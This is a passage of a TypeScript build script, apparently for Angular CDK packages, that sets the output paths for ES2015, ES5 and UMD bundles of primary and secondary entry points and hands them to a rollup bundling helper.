    fesm2014Dest: join(bundlesDir, `${packageName}.es5.js`),
    umdDest: join(bundlesDir, `${packageName}.umd.js`),
    umdMinDest: join(bundlesDir, `${packageName}.umd.min.js`),
  });
}

/** Builds bundles for a single secondary entry-point w/ given entry file, e.g. @angular/cdk/a11y */
export async function buildSecondaryEntryPointBundles(entryFile: string, packageName: string,
                                                      entryPointName: string) {
  return createBundlesForEntryPoint({
    entryFile,
    moduleName: `ng.${packageName}.${entryPointName}`,
    fesm2015Dest: join(bundlesDir, `${packageName}`, `${entryPointName}.js`),
    fesm2014Dest: join(bundlesDir, `${packageName}`, `${entryPointName}.es5.js`),
    umdDest: join(bundlesDir, `${packageName}-${entryPointName}.umd.js`),
    umdMinDest: join(bundlesDir, `${packageName}-${entryPointName}.umd.min.js`),
  });
}

/**
 * Creates the ES5, ES2015, and UMD bundles for the specified entry-point.
 * @param config Configuration that specifies the entry-point, module name, and output
 *     bundle paths.
 */
async function createBundlesForEntryPoint(config: BundlesConfig) {
  // Build FESM-2015 bundle file.
  await createRollupBundle({
    moduleName: config.moduleName,
    entry: config.ent